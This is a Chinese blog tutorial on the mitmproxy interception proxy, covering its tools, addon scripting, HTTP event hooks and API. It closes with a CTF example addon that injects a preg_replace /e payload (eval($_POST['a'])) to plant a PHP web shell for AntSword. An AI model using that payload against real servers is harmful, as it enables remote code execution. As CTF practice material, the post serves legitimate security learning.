• mitmproxy


    mitmproxy是什么

    mitm也就是man-in-the-middle中间人攻击,顾名思义,mitmproxy就是一个可以用作中间人的基于python环境的工具包,可以用于查看流量,抓包改包,重放,可以实现和burpsuite一样的功能,但是我觉得mitmproxy最大的优势是基于python平台可以灵活地开发插件脚本。

    mitmproxy安装后包括3个工具:mitmproxymitmdumpmitmweb

    • mitmproxy
      mitmproxy是一个控制台工具,允许交互式检查和修改HTTP流量。它与mitmdump的不同之处在于所有流都保存在内存中,这意味着它旨在获取和处理小样本。
    • mitmdump
      mitmdump是mitmproxy的命令行版本。它提供了类似tcpdump的功能,可让您查看,记录和以编程方式转换HTTP流量。
    • mitmweb(处于测试阶段)
      mitmweb是mitmproxy基于Web的用户界面,它允许交互式检查和修改HTTP流量。像mitmproxy一样,它与mitmdump的不同之处在于所有流都保存在内存中,这意味着它旨在获取和处理小样本

    mitmproxy能做什么

    正向代理,反向代理,透明代理,代理链都可以

    mitmproxy脚本/命令规范

    插件脚本

    有两种加载方式,我这里只写官方建议的

    from mitmproxy import ctx
    
    
    class Counter:
        def __init__(self):
            self.num = 0
    
        def request(self, flow):
            self.num = self.num + 1
            ctx.log.info("We've seen %d flows" % self.num)
    
    
    addons = [
        Counter()
    ]
    

    这是官网上一个例子,使用oop的方法,在addons数组中添加要加载的类,可以在命令行中使用mitmproxy -s addon.py来加载这个脚本,就可以在控制台的log中看到输出的http请求的数量

    命令

    在mitmproxy控制台中可以输入:command来执行命令,包括内置的和用户定义的

    from mitmproxy import command
    from mitmproxy import ctx
    
    
    class MyAddon:
        def __init__(self):
            self.num = 0
    
        @command.command("myaddon.inc")
        def inc(self) -> None:
            self.num += 1
            ctx.log.info("num = %s" % self.num)
    
    
    addons = [
        MyAddon()
    ]
    

    同样是官网上的例子,mitmproxy -s addon.py后,输入:myaddon.inc可以在控制台看到输出

    事件

    插件通过事件hook到mitmproxy的内部机制中,事件可以在不同层面上分为5类:HTTP,TCP,Websocket,Network,General。其中最常用的就是HTTP事件,包括

    def http_connect(self, flow: mitmproxy.http.HTTPFlow):
        """
            (Called when) 收到了来自客户端的 HTTP CONNECT 请求。在 flow 上设置非 2xx 响应将返回该响应并断开连接。CONNECT 不是常用的 HTTP 请求方法,目的是与服务器建立代理连接,仅是 client 与 proxy 的之间的交流,所以 CONNECT 请求不会触发 request、response 等其他常规的 HTTP 事件
        """
    
    def requestheaders(self, flow: mitmproxy.http.HTTPFlow):
        """
            (Called when) 来自客户端的 HTTP 请求的头部被成功读取。此时 flow 中的 request 的 body 是空的。
        """
    
    def request(self, flow: mitmproxy.http.HTTPFlow):
        """
            (Called when) 来自客户端的 HTTP 请求被成功完整读取。
        """
    
    def responseheaders(self, flow: mitmproxy.http.HTTPFlow):
        """
            (Called when) 来自服务端的 HTTP 响应的头部被成功读取。此时 flow 中的 response 的 body 是空的。
        """
    
    def response(self, flow: mitmproxy.http.HTTPFlow):
        """
            (Called when) 来自服务端端的 HTTP 响应被成功完整读取。
        """
    
    def error(self, flow: mitmproxy.http.HTTPFlow):
        """
            (Called when) 发生了一个 HTTP 错误。比如无效的服务端响应、连接断开等。注意与“有效的 HTTP 错误返回”不是一回事,后者是一个正确的服务端响应,只是 HTTP code 表示错误而已。
        """
    

    现在就可以理解之前例子里,在Counter类中的request方法是如何生效的

    常用API

    参考https://mitmproxy.readthedocs.io/en/v2.0.2/scripting/api.html

    mitmproxy.http.HTTPRequest

    • cookies
      返回一个MultiDictView对象
    • get_content(strict: bool = True) → bytes
      使用内容编码标头(例如gzip)解码的HTTP消息正文
    • get_text(strict: bool = True) → typing.Union[str, NoneType]
      使用内容编码标头(例如gzip)和内容类型标头字符集解码的HTTP消息正文。
    • headers
      返回mitmproxy.net.http.Headers对象
    • multipart_form
      多部分表单数据作为MultiDictView对象。
      键和值都是bytes。
    • pretty_url
    • urlencoded_form
      URL编码的表单数据作为MultiDictView对象。
    • replace(pattern, repl, flags=0, count=0)
      将header,请求路径和请求体中的repl替换为正则表达式模式。编码后的内容将在替换前进行解码,然后再进行编码。

    mitmproxy.http.HTTPResponse

    • make(status_code: int = 200, content: AnyStr = b'', headers: typing.Union[typing.Dict[AnyStr, AnyStr], typing.Iterable[typing.Tuple[bytes, bytes]]] = ())
      用于创建response对象的简化API。
    • status_code
      状态码
    • 大部分和mitmproxy.http.HTTPRequest差不多

    mitmproxy.http.HTTPFlow

    HTTPFlow是代表单个HTTP事务的对象的集合

    • request
    • response

    mitmproxy.log.Log

    中央记录器,在脚本中暴露为mitmproxy.ctx.log

    • debug
    • info
    • warn
    • error

    使用实例

    使用mitmproxy解决蚁剑连接问题
    刷题记录:[ByteCTF 2019]BabyBlog

    from mitmproxy import http                                                    
                                                                                  
    class add_request:                                                            
                                                                                  
        def request(self, flow) -> None:                                          
            flow.request.urlencoded_form['find'] = "/ex00"                       
            flow.request.urlencoded_form['replace'] = "eval($_POST['a'])"         
            flow.request.urlencoded_form['id'] = "1"                              
            flow.request.urlencoded_form['regex'] = "1"                           
            flow.request.cookies['PHPSESSID'] = "8192498e1b72a3004a2093fc26f10d28"
                                                                                  
    addons = [                                                                    
        add_request()                                                             
    ]
    

    这只是我实际使用mitmproxy的一个最简陋的例子,更多例子可以参考使用 mitmproxy + python 做拦截代理

    参考链接

    官方文档
    使用 mitmproxy + python 做拦截代理

  • 相关阅读:
    Js变量类型
    前端面试题HTML
    AP聚类
    锚点
    html
    Active Learning主动学习
    z-index
    position
    学习笔记_卷积神经网络
    学习笔记_深度学习的数学基础
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/12255610.html
Copyright © 2020-2023  润新知